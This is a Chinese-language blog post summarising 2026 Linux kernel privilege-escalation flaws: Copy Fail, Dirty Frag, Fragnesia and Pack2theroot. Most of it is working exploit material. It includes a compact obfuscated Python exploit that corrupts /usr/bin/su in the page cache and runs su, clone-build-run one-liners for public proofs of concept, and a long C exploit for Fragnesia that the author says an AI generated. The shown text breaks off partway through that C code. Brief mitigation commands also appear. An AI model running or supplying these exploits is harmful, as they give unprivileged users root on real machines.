Linux近期提权漏洞汇总:copyfail、dirtyfray、Fragnesia、Pack2theroot

发布于: 2026-05-12 19:32

PEASS-ng linpeas

推荐一款非常好用的 Linux 本地提权检测工具:PEASS-ng linpeas,对于最新的提权漏洞检测会及时更新。

项目地址:https://github.com/peass-ng/PEASS-ng

获取最新可用 release:

wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -O linpeas.sh
bash linpeas.sh

copyfail CVE-2026-31431

Copy Fail - 摘自维基百科,自由的百科全书

漏洞说明

通过替换存储在页面缓存中可读可执行文件内存副本中的代码,攻击者可以在任何有特权进程之后运行该损坏版本的文件时提升用户权限。由于大多数用于更改用户的 Linux 工具(例如 su)通过 setuid 以特权运行,因此用户权限提升的覆盖面较大。

该漏洞允许非特权用户利用 Linux 内核 Crypto API 中的地址族 AF_ALG,对页面缓存进行受控的 4 字节写入,该缓存支持文件的内存副本。

详细分析:https://xint.io/blog/copy-fail-linux-distributions

影响范围

几乎所有 Linux 发行版都受影响

漏洞利用

python版本exp:

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

c 语言静态编译版本 exp 最新 release:https://github.com/tgies/copy-fail-c/releases/latest

提供了两种变体:

copy-fail-c--:二进制变异变体。变异setuid 二进制文件的页面缓存,然后执行它。

copy-fail-c-passwd--/etc/passwd UID 翻转变体。修改 /etc/passwd 页面缓存中的四个字节,然后执行。在二进制修改路径被阻塞的情况下有效,但缓存范围较窄;详情请参阅 README 文件。

缓解措施

root 用户可以通过清除页面缓存来撤销对 setuid 二进制文件的修改:

echo 3 > /proc/sys/vm/drop_caches 

dirtyfray

https://github.com/V4bel/dirtyfrag

一刻也没有为CopyFail的离去而感到悲伤,接下来到达战场的是:Dirty Frag!

Dirty Frag是Copy Fail漏洞的延续,两者均属于内核零拷贝路径(如splice/sendfile)上的页缓存写入缺陷。它目前被很多研究者称为:“Copy Fail 的后继”、“Dirty Pipe 同类漏洞”

漏洞说明

Dirty Frag 是一种漏洞(类别),它通过链接 xfrm-ESP Page-Cache Write 漏洞和 RxRPC Page-Cache Write 漏洞,在大多数 Linux 发行版上获得 root 权限。这两个漏洞的共同之处在于,在零拷贝发送路径中,splice()攻击者将指向仅具有读取权限的页面缓存页的引用直接植入frag发送端 skb 的插槽中,接收端内核代码会对该片段执行原地加密。结果,非特权用户仅具有读取权限的文件(例如 <filename> 或/etc/passwd<filename> /usr/bin/su)的页面缓存会在 RAM 中被修改,并且每次后续读取都会看到修改后的副本。

详细漏洞分析:https://github.com/V4bel/dirtyfrag/blob/master/assets/write-up.md

由于它是一个确定性逻辑漏洞,不依赖于特定的时间窗口,因此无需竞争条件,即使利用失败,内核也不会崩溃,并且成功率非常高。

影响范围

2026年5月,Dirty Frag 漏洞被发现并披露,影响了过去9年几乎所有 Linux 发行版。

已验证受影响的发行版包括:

  • Ubuntu 24.04.4:6.17.0-23-通用
  • RHEL 10.1: 6.12.0-124.49.1.el10_1.x86_64
  • openSUSE Tumbleweed:7.0.2-1-default
  • CentOS Stream 10:6.12.0-224.el10.x86_64
  • AlmaLinux 10:6.12.0-124.52.3.el10_1.x86_64
  • Fedora 44:6.19.14-300.fc44.x86_64

漏洞利用

git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp

缓解措施

root权限 使用以下命令删除存在漏洞的模块并清除页面缓存。

sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"

Fragnesia

Fragnesia 是一个通用的 Linux 本地权限提升漏洞,由 William BowlingV12 团队V12 中发现。Fragnesia 属于 Dirty Frag 漏洞类别的一员。它是 ESP/XFRM 中与 dirtyfrag 不同的一个独立漏洞,并且已经获得了自己的补丁。不过,它位于相同的攻击面上,且缓解措施与 dirtyfrag 相同。

漏洞说明

它利用 Linux XFRM ESP-in-TCP 子系统中的逻辑漏洞,实现对只读文件的内核页面缓存进行任意字节写入,而无需任何竞争条件。

这个漏洞利用的是内核在处理网络数据时的一个 bug:攻击者可以逐字节修改只读文件在内存中的副本(页面缓存),而磁盘上的原文件保持不变。通过精心构造网络包,可以把 /usr/bin/su 这个程序的前 192 个字节改成一段恶意代码。当用户执行 su 时,实际运行的是这段恶意代码,从而直接获得 root 权限。整个过程不需要写入磁盘,只篡改了内存中的文件内容。

详细分析:https://github.com/v12-security/pocs/tree/main/fragnesia

影响范围

受 dirtyfrag 影响的所有版本都会受到影响。

漏洞利用

项目提供了一个 C 语言版本的 PoC,针对/usr/bin/su文件,编译后直接运行即可触发漏洞并获得 root 权限。

git clone https://github.com/v12-security/pocs.git && cd pocs/fragnesia && gcc -o exp fragnesia.c && ./exp

下面是我使用AI生成的 C 语言版本exp,可选 suid 文件作为目标文件:

// Fragnesia: universal Linux LPE (with selectable SUID target)
// Build: gcc -O2 -Wall -Wextra -static xfrm_espintcp_pagecache_replace.c -o exp
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#if __has_include(<linux/if_alg.h>)
#include <linux/if_alg.h>
#else
#include <linux/types.h>
struct sockaddr_alg {
    __u16 salg_family;
    __u8 salg_type[14];
    __u32 salg_feat;
    __u32 salg_mask;
    __u8 salg_name[64];
};
#endif
#include <linux/netlink.h>
#include <linux/udp.h>
#include <linux/xfrm.h>
#include <limits.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <sched.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#ifndef TCP_ULP
#define TCP_ULP 31
#endif
#ifndef NETLINK_XFRM
#define NETLINK_XFRM 6
#endif
#ifndef TCP_ENCAP_ESPINTCP
#define TCP_ENCAP_ESPINTCP 7
#endif
#ifndef AF_ALG
#define AF_ALG 38
#endif
#ifndef SOL_ALG
#define SOL_ALG 279
#endif
#ifndef ALG_SET_KEY
#define ALG_SET_KEY 1
#endif
#ifndef ALG_SET_OP
#define ALG_SET_OP 3
#endif
#ifndef ALG_OP_ENCRYPT
#define ALG_OP_ENCRYPT 1
#endif
#ifndef NLA_ALIGNTO
#define NLA_ALIGNTO 4
#endif
#ifndef NLA_ALIGN
#define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1))
#endif
#ifndef NLA_HDRLEN
#define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr)))
#endif

#define FRAG_LEN 4096
#define ESP_GCM_ICV_LEN 16
#define ESP_GCM_ENCRYPTED_LEN (FRAG_LEN - ESP_GCM_ICV_LEN)
#define TCP_PORT 5556

#define PAYLOAD_LEN         192          /* 内置 shell_elf 的长度,也是自定义 payload 的最大允许长度 */
#define FRAME_PAYLOAD_ROWS  12           /* ceil(PAYLOAD_LEN / 16) */
#define FRAME_BAR_W         50
#define FRAME_LINES         15

#define RECEIVER_PRE_ULP_US 30000
#define SENDER_PRE_SPLICE_US 1000
#define RECEIVER_POST_ULP_US 30000

static const unsigned char xfrm_aead_key[20] = {
    0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
    0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff,
    0x01, 0x02, 0x03, 0x04
};

static unsigned char active_esp_gcm_iv[8] = {
    0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc
};
static uint32_t active_esp_seq = 1;
static const char *target_file;
static char target_file_buf[PATH_MAX];
static loff_t target_splice_off;

static uint16_t stream0_nonce[256];
static bool stream0_have[256];

// ---------- 以下所有函数保持原样,未作任何修改 ----------
static void die(const char *what)
{
    fprintf(stderr, "%s: %s\n", what, strerror(errno));
    exit(2);
}

static void gate_fail(const char *what)
{
    printf("namespace_gate_failed: %s errno=%d (%s)\n",
           what, errno, strerror(errno));
    exit(4);
}

static void store_be32(unsigned char *p, uint32_t v)
{
    p[0] = (unsigned char)(v >> 24);
    p[1] = (unsigned char)(v >> 16);
    p[2] = (unsigned char)(v >> 8);
    p[3] = (unsigned char)v;
}

#define C_RESET  "\033[0m"
#define C_BOLD   "\033[1m"
#define C_DIM    "\033[2m"
#define C_RED    "\033[31m"
#define C_GREEN  "\033[32m"
#define C_YELLOW "\033[33m"
#define C_CYAN   "\033[36m"
#define C_WHITE  "\033[97m"
#define C_BRED   "\033[1;31m"
#define C_BGRN   "\033[1;32m"
#define C_BYLW   "\033[1;33m"
#define C_BCYN   "\033[1;36m"
#define C_BWHT   "\033[1;97m"

static void print_hex_bytes(const char *label, const unsigned char *buf,
                size_t len)
{
    size_t i;
    printf(C_DIM "%s=" C_RESET C_CYAN, label);
    for (i = 0; i < len; i++)
        printf("%02x", buf[i]);
    printf(C_RESET "\n");
}

static void print_hex_row(const char *path, uint64_t highlight_off,
              const char *before_label, unsigned char before_val,
              const char *after_label,  unsigned char after_val)
{
    uint64_t row_start = highlight_off & ~(uint64_t)15;
    unsigned char row[16];
    ssize_t got;
    size_t col;
    int fd;

    fd = open(path, O_RDONLY | O_CLOEXEC);
    if (fd < 0)
        return;
    got = pread(fd, row, sizeof(row), (off_t)row_start);
    close(fd);
    if (got <= 0)
        return;

    printf(C_DIM "  %016llx  " C_RESET, (unsigned long long)row_start);
    for (col = 0; col < 16; col++) {
        if (col == 8)
            printf(" ");
        if ((size_t)got > col) {
            if (row_start + col == highlight_off)
                printf(C_BRED "[%02x]" C_RESET, row[col]);
            else
                printf(C_DIM "%02x " C_RESET, row[col]);
        } else {
            printf(C_DIM "   " C_RESET);
        }
    }

    printf("  " C_DIM "|" C_RESET);
    for (col = 0; col < (size_t)got; col++) {
        unsigned char c = row[col];
        if (row_start + col == highlight_off)
            printf(C_BRED "%c" C_RESET,
                   (c >= 0x20 && c < 0x7f) ? c : '.');
        else
            printf(C_DIM "%c" C_RESET,
                   (c >= 0x20 && c < 0x7f) ? c : '.');
    }
    printf(C_DIM "|" C_RESET "\n");

    size_t col_off = (size_t)(highlight_off - row_start);
    size_t arrow_pos = 20 + col_off * 3 + (col_off >= 8 ? 1 : 0) + 1;
    printf("%*s" C_BYLW "^-- +%04llx  "
           C_RED "%s" C_RESET ":" C_BRED "%02x" C_RESET
           "  ->  "
           C_GREEN "%s" C_RESET ":" C_BGRN "%02x" C_RESET "\n",
           (int)arrow_pos, "",
           (unsigned long long)(highlight_off & 0xffff),
           before_label, before_val,
           after_label, after_val);
}

static int open_afalg_aes_ecb(void)
{
    struct sockaddr_alg sa = { .salg_family = AF_ALG };
    int fd;

    fd = socket(AF_ALG, SOCK_SEQPACKET | SOCK_CLOEXEC, 0);
    if (fd < 0)
        die("socket(AF_ALG)");

    strcpy((char *)sa.salg_type, "skcipher");
    strcpy((char *)sa.salg_name, "ecb(aes)");
    if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0)
        die("bind AF_ALG ecb(aes)");
    if (setsockopt(fd, SOL_ALG, ALG_SET_KEY, xfrm_aead_key, 16) < 0)
        die("setsockopt AF_ALG key");

    return fd;
}

static void afalg_aes_encrypt_block(int alg_fd, const unsigned char in[16],
                    unsigned char out[16])
{
    char cbuf[CMSG_SPACE(sizeof(uint32_t))] = {};
    struct iovec iov = { .iov_base = (void *)in, .iov_len = 16 };
    struct msghdr msg = {
        .msg_iov = &iov,
        .msg_iovlen = 1,
        .msg_control = cbuf,
        .msg_controllen = sizeof(cbuf),
    };
    struct cmsghdr *cmsg;
    uint32_t op = ALG_OP_ENCRYPT;
    ssize_t ret;
    int op_fd;

    op_fd = accept4(alg_fd, NULL, NULL, SOCK_CLOEXEC);
    if (op_fd < 0)
        die("accept AF_ALG");

    cmsg = CMSG_FIRSTHDR(&msg);
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type = ALG_SET_OP;
    cmsg->cmsg_len = CMSG_LEN(sizeof(op));
    memcpy(CMSG_DATA(cmsg), &op, sizeof(op));

    ret = sendmsg(op_fd, &msg, 0);
    if (ret != 16)
        die("sendmsg AF_ALG block");
    ret = read(op_fd, out, 16);
    if (ret != 16)
        die("read AF_ALG block");

    close(op_fd);
}

static unsigned char aes_gcm_stream0_byte(int alg_fd,
                      const unsigned char iv[8])
{
    unsigned char counter_block[16], stream[16];

    memcpy(counter_block, &xfrm_aead_key[16], 4);
    memcpy(counter_block + 4, iv, 8);
    store_be32(counter_block + 12, 2);
    afalg_aes_encrypt_block(alg_fd, counter_block, stream);
    return stream[0];
}

static void build_stream0_table(void)
{
    unsigned char iv[8] = {
        0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc
    };
    unsigned int count = 0, nonce;
    int alg_fd;

    alg_fd = open_afalg_aes_ecb();
    for (nonce = 0; nonce <= 0xffff && count < 256; nonce++) {
        unsigned char b;

        store_be32(iv + 4, nonce);
        b = aes_gcm_stream0_byte(alg_fd, iv);
        if (stream0_have[b])
            continue;
        stream0_have[b] = true;
        stream0_nonce[b] = (uint16_t)nonce;
        count++;
    }
    close(alg_fd);

    if (count != 256) {
        fprintf(stderr, "failed to build complete stream-byte table: %u/256\n",
            count);
        exit(2);
    }
    printf("stream0_table_entries=256\n");
}

static void choose_iv_for_stream0(unsigned char need_stream)
{
    uint16_t nonce = stream0_nonce[need_stream];

    memset(active_esp_gcm_iv, 0xcc, sizeof(active_esp_gcm_iv));
    store_be32(active_esp_gcm_iv + 4, nonce);
    printf("byte_flip_nonce=%u stream_byte=%02x\n", nonce, need_stream);
    print_hex_bytes("byte_flip_packet_iv", active_esp_gcm_iv,
            sizeof(active_esp_gcm_iv));
}

static uint64_t parse_u64_arg(const char *s, const char *name)
{
    char *end = NULL;
    unsigned long long v;

    if (s[0] == '-') {
        fprintf(stderr, "invalid %s: %s\n", name, s);
        exit(2);
    }
    errno = 0;
    v = strtoull(s, &end, 0);
    if (errno || !end || *end != '\0') {
        fprintf(stderr, "invalid %s: %s\n", name, s);
        exit(2);
    }
    return (uint64_t)v;
}

static int hex_nibble(int c)
{
    if (c >= '0' && c <= '9')
        return c - '0';
    if (c >= 'a' && c <= 'f')
        return 10 + c - 'a';
    if (c >= 'A' && c <= 'F')
        return 10 + c - 'A';
    return -1;
}

static bool is_hex_separator(int c)
{
    return c == ':' || c == ',' || c == '-' || c == '_' ||
           c == ' ' || c == '\t' || c == '\n' || c == '\r';
}

static unsigned char *parse_hex_bytes_arg(const char *s, size_t *len_out)
{
    size_t cap = strlen(s) / 2 + 1, len = 0;
    unsigned char *buf;
    int hi = -1, v;

    buf = malloc(cap);
    if (!buf)
        die("malloc desired bytes");

    for (; *s; s++) {
        if (is_hex_separator((unsigned char)*s))
            continue;
        if (hi < 0 && s[0] == '0' && (s[1] == 'x' || s[1] == 'X')) {
            s++;
            continue;
        }

        v = hex_nibble((unsigned char)*s);
        if (v < 0) {
            fprintf(stderr, "invalid hex byte string near '%c'\n", *s);
            exit(2);
        }
        if (hi < 0) {
            hi = v;
            continue;
        }
        buf[len++] = (unsigned char)((hi << 4) | v);
        hi = -1;
    }

    if (hi >= 0) {
        fprintf(stderr, "hex byte string has an odd number of nibbles\n");
        exit(2);
    }
    if (len == 0) {
        fprintf(stderr, "hex byte string is empty\n");
        exit(2);
    }

    *len_out = len;
    return buf;
}

static unsigned char read_byte_at(const char *path, uint64_t off)
{
    unsigned char b;
    ssize_t ret;
    int fd;

    fd = open(path, O_RDONLY | O_CLOEXEC);
    if (fd < 0)
        die("open read byte");
    ret = pread(fd, &b, 1, (off_t)off);
    if (ret < 0)
        die("pread byte");
    if (ret != 1) {
        fprintf(stderr, "short pread at offset=%llu\n",
            (unsigned long long)off);
        exit(2);
    }
    close(fd);
    return b;
}

static void print_file_sample(const char *label, uint64_t off, size_t len)
{
    unsigned char buf[32];
    ssize_t ret;
    int fd;

    if (len > sizeof(buf))
        len = sizeof(buf);
    fd = open(target_file, O_RDONLY | O_CLOEXEC);
    if (fd < 0)
        die("open sample");
    ret = pread(fd, buf, len, (off_t)off);
    if (ret < 0)
        die("pread sample");
    close(fd);
    if ((size_t)ret != len) {
        fprintf(stderr, "short sample at offset=%llu len=%zu got=%zd\n",
            (unsigned long long)off, len, ret);
        exit(2);
    }
    print_hex_bytes(label, buf, len);
}

static uint64_t use_existing_target(const char *path)
{
    struct stat lst, st;

    if (lstat(path, &lst) < 0)
        die("lstat target");
    if (!S_ISREG(lst.st_mode)) {
        fprintf(stderr, "target is not a regular file\n");
        exit(2);
    }
    if (stat(path, &st) < 0)
        die("stat target");
    if (!S_ISREG(st.st_mode)) {
        fprintf(stderr, "target is not a regular file\n");
        exit(2);
    }
    if (st.st_size < FRAG_LEN) {
        fprintf(stderr, "target is too small: size=%lld need>=%d\n",
            (long long)st.st_size, FRAG_LEN);
        exit(2);
    }
    if (snprintf(target_file_buf, sizeof(target_file_buf), "%s", path) >=
        (int)sizeof(target_file_buf)) {
        fprintf(stderr, "target path is too long\n");
        exit(2);
    }

    target_file = target_file_buf;
    return (uint64_t)st.st_size;
}

static void verify_write_denied(const char *label)
{
    int fd;

    errno = 0;
    fd = open(target_file, O_WRONLY | O_CLOEXEC);
    if (fd >= 0) {
        close(fd);
        printf("namespace_gate_failed: %s write-open unexpectedly succeeded\n",
               label);
        exit(4);
    }

    printf("%s_write_open_denied=1 errno=%d (%s)\n",
           label, errno, strerror(errno));
}

static int write_all_file_status(const char *path, const char *buf)
{
    size_t len = strlen(buf);
    int fd, saved_errno;

    fd = open(path, O_WRONLY | O_CLOEXEC);
    if (fd < 0)
        return -1;
    if (write(fd, buf, len) != (ssize_t)len) {
        saved_errno = errno;
        close(fd);
        errno = saved_errno;
        return -1;
    }
    close(fd);
    return 0;
}

static void sync_write_byte(int fd)
{
    char c = 'M';
    if (write(fd, &c, 1) != 1)
        die("sync write");
    close(fd);
}

static void sync_read_byte(int fd)
{
    char c;
    if (read(fd, &c, 1) != 1)
        die("sync read");
    close(fd);
}

static void parent_map_write_or_exit(pid_t child, const char *name,
                     const char *data)
{
    char path[128];
    snprintf(path, sizeof(path), "/proc/%ld/%s", (long)child, name);
    if (write_all_file_status(path, data) < 0) {
        printf("namespace_gate_failed: %s errno=%d (%s)\n",
               path, errno, strerror(errno));
        kill(child, SIGKILL);
        waitpid(child, NULL, 0);
        exit(4);
    }
}

static void enter_mapped_userns(void)
{
    uid_t outer_uid = getuid();
    gid_t outer_gid = getgid();
    int ready_pipe[2], mapped_pipe[2], status;
    char map[128];
    pid_t child;

    if (pipe(ready_pipe) < 0)
        die("pipe ready");
    if (pipe(mapped_pipe) < 0)
        die("pipe mapped");

    child = fork();
    if (child < 0)
        die("fork userns mapper");

    if (child > 0) {
        close(ready_pipe[1]);
        close(mapped_pipe[0]);

        sync_read_byte(ready_pipe[0]);

        snprintf(map, sizeof(map), "0 %u 1\n", outer_uid);
        parent_map_write_or_exit(child, "uid_map", map);
        parent_map_write_or_exit(child, "setgroups", "deny\n");
        snprintf(map, sizeof(map), "0 %u 1\n", outer_gid);
        parent_map_write_or_exit(child, "gid_map", map);

        sync_write_byte(mapped_pipe[1]);

        if (waitpid(child, &status, 0) < 0)
            die("wait userns child");
        if (WIFEXITED(status))
            exit(WEXITSTATUS(status));
        if (WIFSIGNALED(status)) {
            fprintf(stderr, "userns child killed by signal %d\n",
                WTERMSIG(status));
            exit(2);
        }
        exit(2);
    }

    close(ready_pipe[0]);
    close(mapped_pipe[1]);

    if (unshare(CLONE_NEWUSER) < 0)
        gate_fail("unshare(CLONE_NEWUSER)");

    sync_write_byte(ready_pipe[1]);
    sync_read_byte(mapped_pipe[0]);

    if (setresgid(0, 0, 0) < 0)
        gate_fail("setresgid 0 in userns");
    if (setresuid(0, 0, 0) < 0)
        gate_fail("setresuid 0 in userns");

    printf("userns_setup: outer_uid=%u outer_gid=%u ns_uid=%d ns_gid=%d\n",
           outer_uid, outer_gid, getuid(), getgid());
}

static void bring_loopback_up(void)
{
    struct ifreq ifr;
    int fd;

    fd = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0);
    if (fd < 0)
        gate_fail("socket(AF_INET)");

    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
    if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
        gate_fail("SIOCGIFFLAGS lo");
    ifr.ifr_flags |= IFF_UP;
    if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
        gate_fail("SIOCSIFFLAGS lo up");
    close(fd);

    printf("loopback_up=1\n");
}

static void add_nlattr(struct nlmsghdr *nlh, size_t maxlen,
               unsigned short type, const void *data, size_t len)
{
    size_t off = NLMSG_ALIGN(nlh->nlmsg_len);
    struct nlattr *nla;

    if (off + NLA_HDRLEN + len > maxlen) {
        fprintf(stderr, "netlink message too small\n");
        exit(2);
    }

    nla = (struct nlattr *)((char *)nlh + off);
    nla->nla_type = type;
    nla->nla_len = NLA_HDRLEN + len;
    memcpy((char *)nla + NLA_HDRLEN, data, len);
    nlh->nlmsg_len = off + NLA_ALIGN(nla->nla_len);
}

static int nl_ack_errno(char *buf, ssize_t len)
{
    struct nlmsghdr *nlh;
    struct nlmsgerr *err;

    for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, (unsigned int)len);
         nlh = NLMSG_NEXT(nlh, len)) {
        if (nlh->nlmsg_type != NLMSG_ERROR)
            continue;
        err = (struct nlmsgerr *)NLMSG_DATA(nlh);
        if (err->error == 0)
            return 0;
        errno = -err->error;
        return -1;
    }

    errno = EPROTO;
    return -1;
}

static void add_xfrm_espintcp_state(void)
{
    char reqbuf[4096], resp[4096];
    char aeadbuf[sizeof(struct xfrm_algo_aead) + sizeof(xfrm_aead_key)];
    struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
    struct xfrm_usersa_info *xs;
    struct xfrm_algo_aead *aead;
    struct xfrm_encap_tmpl encap;
    struct nlmsghdr *nlh;
    ssize_t ret;
    int fd;

    memset(reqbuf, 0, sizeof(reqbuf));
    nlh = (struct nlmsghdr *)reqbuf;
    nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*xs));
    nlh->nlmsg_type = XFRM_MSG_NEWSA;
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
    nlh->nlmsg_seq = 1;

    xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh);
    if (inet_pton(AF_INET6, "::1", &xs->saddr.in6) != 1)
        die("inet_pton saddr");
    if (inet_pton(AF_INET6, "::1", &xs->id.daddr.in6) != 1)
        die("inet_pton daddr");
    xs->id.spi = htonl(0x100);
    xs->id.proto = IPPROTO_ESP;
    xs->family = AF_INET6;
    xs->mode = XFRM_MODE_TRANSPORT;
    xs->reqid = 1;
    xs->lft.soft_byte_limit = XFRM_INF;
    xs->lft.hard_byte_limit = XFRM_INF;
    xs->lft.soft_packet_limit = XFRM_INF;
    xs->lft.hard_packet_limit = XFRM_INF;

    memset(aeadbuf, 0, sizeof(aeadbuf));
    aead = (struct xfrm_algo_aead *)aeadbuf;
    snprintf(aead->alg_name, sizeof(aead->alg_name), "rfc4106(gcm(aes))");
    aead->alg_key_len = sizeof(xfrm_aead_key) * 8;
    aead->alg_icv_len = 128;
    memcpy(aead->alg_key, xfrm_aead_key, sizeof(xfrm_aead_key));
    add_nlattr(nlh, sizeof(reqbuf), XFRMA_ALG_AEAD, aeadbuf, sizeof(aeadbuf));

    memset(&encap, 0, sizeof(encap));
    encap.encap_type = TCP_ENCAP_ESPINTCP;
    encap.encap_sport = htons(TCP_PORT);
    encap.encap_dport = htons(TCP_PORT);
    add_nlattr(nlh, sizeof(reqbuf), XFRMA_ENCAP, &encap, sizeof(encap));

    fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_XFRM);
    if (fd < 0)
        gate_fail("socket(NETLINK_XFRM)");
    if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0)
        gate_fail("bind(NETLINK_XFRM)");

    memset(&sa, 0, sizeof(sa));
    sa.nl_family = AF_NETLINK;
    ret = sendto(fd, nlh, nlh->nlmsg_len, 0, (struct sockaddr *)&sa,
             sizeof(sa));
    if (ret < 0)
        gate_fail("sendto XFRM_MSG_NEWSA");
    if (ret != (ssize_t)nlh->nlmsg_len) {
        errno = EIO;
        gate_fail("short sendto XFRM_MSG_NEWSA");
    }

    ret = recv(fd, resp, sizeof(resp), 0);
    if (ret < 0)
        gate_fail("recv XFRM ack");
    if (nl_ack_errno(resp, ret) < 0)
        gate_fail("XFRM_MSG_NEWSA ack");
    close(fd);

    printf("xfrm_espintcp_state_add=1\n");
}

static void setup_user_netns_xfrm(void)
{
    if (prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) < 0)
        die("prctl PR_SET_DUMPABLE");
    enter_mapped_userns();

    if (unshare(CLONE_NEWNET) < 0)
        gate_fail("unshare(CLONE_NEWNET)");

    printf("netns_setup=1\n");
    bring_loopback_up();
    add_xfrm_espintcp_state();
    printf("namespace_setup_complete=1\n");
}

static void write_ready(int fd)
{
    char c = 'R';
    if (write(fd, &c, 1) != 1)
        die("ready write");
    close(fd);
}

static void wait_ready(int fd)
{
    char c;
    if (read(fd, &c, 1) != 1)
        die("ready read");
    close(fd);
}

static void receiver(int ready_write_fd)
{
    struct sockaddr_in6 addr = {
        .sin6_family = AF_INET6,
        .sin6_addr = IN6ADDR_LOOPBACK_INIT,
        .sin6_port = htons(TCP_PORT),
        .sin6_flowinfo = 0,
        .sin6_scope_id = 0,
    };
    char ulp[] = "espintcp";
    int fd, cfd, one = 1;

    fd = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0);
    if (fd < 0)
        die("receiver socket");
    if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0)
        die("receiver reuseaddr");
    if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
        die("receiver bind");
    if (listen(fd, 1) < 0)
        die("receiver listen");

    write_ready(ready_write_fd);

    cfd = accept4(fd, NULL, NULL, SOCK_CLOEXEC);
    if (cfd < 0)
        die("receiver accept");

    usleep(RECEIVER_PRE_ULP_US);
    if (setsockopt(cfd, IPPROTO_TCP, TCP_ULP, ulp, sizeof(ulp)) < 0)
        die("receiver TCP_ULP espintcp");

    printf("receiver_ns_uid=%d euid=%d espintcp_enabled_after_queue=1\n",
           getuid(), geteuid());
    usleep(RECEIVER_POST_ULP_US);
    close(cfd);
    close(fd);
    _exit(0);
}

static void sender(int ready_read_fd)
{
    struct sockaddr_in6 dst = {
        .sin6_family = AF_INET6,
        .sin6_addr = IN6ADDR_LOOPBACK_INIT,
        .sin6_port = htons(TCP_PORT),
        .sin6_flowinfo = 0,
        .sin6_scope_id = 0,
    };
    struct {
        __be16 len;
        unsigned char esp[16];
    } prefix;
    loff_t off, start_off;
    int fd, sock, p[2], one = 1;
    ssize_t ret, sent;

    wait_ready(ready_read_fd);

    memset(&prefix, 0xcc, sizeof(prefix));
    prefix.len = htons(sizeof(prefix) + FRAG_LEN);
    prefix.esp[0] = 0x00;
    prefix.esp[1] = 0x00;
    prefix.esp[2] = 0x01;
    prefix.esp[3] = 0x00;
    store_be32(&prefix.esp[4], active_esp_seq);
    memcpy(&prefix.esp[8], active_esp_gcm_iv, sizeof(active_esp_gcm_iv));

    fd = open(target_file, O_RDONLY | O_CLOEXEC);
    if (fd < 0)
        die("sender open target");
    sock = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0);
    if (sock < 0)
        die("sender socket");
    if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one)) < 0)
        die("sender TCP_NODELAY");
    if (connect(sock, (struct sockaddr *)&dst, sizeof(dst)) < 0)
        die("sender connect");

    sent = send(sock, &prefix, sizeof(prefix), 0);
    if (sent != (ssize_t)sizeof(prefix))
        die("sender send prefix");

    usleep(SENDER_PRE_SPLICE_US);

    if (pipe(p) < 0)
        die("sender pipe");
    off = target_splice_off;
    start_off = off;
    ret = splice(fd, &off, p[1], NULL, FRAG_LEN, 0);
    if (ret != FRAG_LEN)
        die("sender splice file to pipe");

    ret = splice(p[0], NULL, sock, NULL, FRAG_LEN, 0);
    if (ret < 0)
        die("sender splice pipe to tcp");

    printf("sender_ns_uid=%d euid=%d prefix_send=%zd splice_to_tcp=%zd file_off=%lld file_off_next=%lld\n",
           getuid(), geteuid(), sent, ret, (long long)start_off,
           (long long)off);

    close(p[0]);
    close(p[1]);
    close(sock);
